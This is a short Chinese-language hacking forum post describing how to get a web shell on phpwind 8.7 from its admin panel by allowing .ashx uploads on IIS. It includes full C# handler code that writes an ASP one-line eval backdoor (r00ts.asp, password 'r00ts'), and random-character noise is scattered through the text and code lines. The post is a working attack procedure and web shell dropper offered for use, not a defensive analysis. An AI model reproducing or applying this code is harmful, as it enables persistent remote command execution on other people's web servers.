phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

$ G/ C% q9 g- a群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

& M+ K4 w+ a1 n0 ~  F8 z/ P, u+ g8 o发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
0 _1 J6 o+ |& K
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
* ]& b9 ~$ p- e4 v! ~
* Y8 |& _% i3 `" ]2 L打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

* ^, w( @) }1 X: k1 }0 t下面是代码:
5 C4 ~8 X+ Z. I% c6 L3 R
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
9 d: P, U# r5 l, J% Gpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
6 m( S( ^* i; U- b" E6 @0 \) D, H1 Afile1.Write("<%eval request(\"r00ts\")%>");
: ^2 k. z) j5 s& \, C, W( dfile1.Flush();
file1.Close();
  ^4 M8 k; l9 s1 _, o& R! i}
' O- C' Y6 e* Z5 O& j( N! E) |5 Npublic bool IsReusable {
- {8 \. D, V* X4 w9 F+ }get {
return false;
; }) M1 `/ E& d" J2 x* L}
}
- Y* ~8 Q* e/ k" R}